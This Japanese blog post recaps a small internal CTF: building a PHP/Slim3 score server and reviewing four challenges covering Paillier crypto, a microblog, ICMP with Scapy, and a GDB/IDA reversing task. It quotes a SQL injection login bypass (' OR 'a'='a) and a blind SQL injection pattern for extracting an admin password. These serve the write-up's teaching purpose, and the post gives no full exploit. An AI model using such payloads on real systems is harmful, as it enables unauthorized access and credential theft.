 そんな感じで 3時間程度の CTF を開催したのでスコアサーバ頑張ったよという報告と、どんな問題を作ったのか振り返りをやります。

スコアサーバ

 私はWebアプリケーションは PHP でしか作れないので、PHPでやりました。毎回 Laravel に挑んでは挫折しているので、今回は時間が少ないことも踏まえて最初からLaravelを選択肢から外し、簡単なRouterとTemplate Engine だけが乗っている Slim3 を利用することにしました。 Slim も初めて触りましたが、小さくて何をすれば動くかがわかりやすくてよかったです。 コマンドを叩いて scaffold を作って、というのは私には早すぎた。

 データベースにはいつものように sqlite を使って、一応 wrapper として medoo を採用しましたが、 join や group by が必要になるところでは横着をして 生SQL を書いたのでどちらでも変わらなかったかもしれません。とにかく頑張ったので、それなりに見られるスコアサーバができました。全部書くのに5時間くらいかかった割には機能が少ないのがチャームポイントです。

f:id:Furutsuki:20180830221238p:plain

 KoHのキモであるDefense Flag の集計は cron で php スクリプトを実行することで行いました。ディレクトリ構造を後から変更する可能性があったので、各問題について socat TCP-LISTEN:XXXX,fork,reuseaddr,bind=localhost EXEC:'cat defense_flags' のような感じで Defense Flag の一覧を取れるようにしておく戦術をやったのですが、途中で一回止まったので安定性には欠けます。

 各問題もWeb問題はApache としても、 python で書いて運用する必要があるものは socat で動かしていました。こちらは安定していました。

 

Crypto + Crypto [300]

 最初に考えた問題です。去年の高専セキュリティコンテストで準同型性を持つオカモトウチヤマ暗号が出題されていたので、同じ準同型性を持つ暗号として Paillier 暗号をテーマに、

  • サーバで生成した秘密鍵・公開鍵が送られるので Enc("pascall_paillier") を送ると Attack Flag
  • 送られてきた文字列に Enc("Takoyakitabetai") を乗じたあと Decrypt したものを Defense Flag として書き込み

 のようなスクリプトを書いてソースコードを公開する形で問題にしました。 Paillier 暗号については 英語版 Wikipedia を信じればよいのか、 公開鍵暗号 - Paillier暗号 - ₍₍ (ง ˘ω˘ )ว ⁾⁾ < 暗号楽しいです を信じればよいのかというところでしたが、とりあえず平易なWikipedia版の式を試したらうまくいったのでそちらを採用しました。

 これは師匠が割とすんなり解いていました。

Microblog [200]

Web 問題です。 なにかしらのマイクロブログのようなものをイメージしていました。

f:id:Furutsuki:20180830222321p:plain

  • admin としての 最新の 20件 の投稿にDefense Flagが含まれていれば得点
  • admin のパスワードが Attack Flag

という感じでやりました。 ログイン時の SQL クエリを文字列の埋め込みで組み立てているという脆弱性があり、 ユーザ名を admin・パスワードを 'OR'a'='a などとするとログインができるのでDefense Flagを書き込むことができます。 admin のパスワードは ' OR password like 'OCamlab{% などとして Blind SQL Injection で求める想定でしたが、このスクリプトを実行したところ、先頭 10文字程度が適当でも通りました。なんでだろう。 OR password like 'a% でなぜ通るんだ。わからず仕舞いです。

 師匠は開始早々あっさりとDefense Point を獲得しましたが、Attack Flagの取得に苦戦していました。 UNION SELECT をつなげてどこかしらにパスワードをそのまま印字しようとしていたのですがそのような仕組みはなかったので仕方ないですね。 Blind SQL Injection の存在を思い出してからスクリプトを書くのはすぐでした。

 キングと後輩氏も後半になって 'OR 'a'='a に成功していましたが、 Defense Flag は師匠の妨害で流されてしまっていました。

Knock Knock [100]

 中途半端な問題です。 python スクリプトで ICMP のパケットを監視していて、

  • データ部の末尾が requestflag なら ICMP を送ってきたアドレスの TCP 50000 番に Flag を送信
  • ICMPを送ってきたアドレスが 1.2.3.4 なら データ部末尾のnバイトを Defense Flag として受付け

 しています。 Scapy の練習のような問題でした。 ICMP のデータ部を活用した問題を作りたかったんですね。

 これも師匠は楽々解いていました。自分の環境が pyenv なことを忘れて sudo pip install scapy して「インポートできない〜」って言っていたことを除いて。後輩氏は手が出ず、キングには助言をたくさんして解いてもらいました。

Flag Comparator[200]

 今朝ぎりぎりに追加した問題で、 KoH ではなく Jeopardy 問題です。 GDB の練習用に作ったような問題で、 文字列を受付けて Flag かどうかを判定します。文字を 4バイトずつ取得して配列に保存しておいたデータと比較するのですが、前回の入力との xor を取るようにして strings で文字列が見えないようにしています。

 師匠は IDA で解いて、キングは時間外にIDAで取り組んでいましたが、助言の甲斐も報われず持ち帰りとなりました。


 以上になります。 CTF としての結果は師匠が圧倒的で、キングと後輩氏はかろうじて得点できていた、という感じです。今回は問題を作るのはとてもむずかしいということを学びました。師匠は内輪に向けていろいろ問題をつくってくれていますがこれは神だったんだなぁ。

 今回のスコアサーバや問題はストレージサービスのように利用している GitHub にあります。

GitHub - theoldmoon0602/OCamlabCTF2

GitHub - theoldmoon0602/Crypto-Crypto

GitHub - theoldmoon0602/microblog

GitHub - theoldmoon0602/knock_knock

GitHub - theoldmoon0602/flag_comparator

*1:これ名前がついていませんでしたか?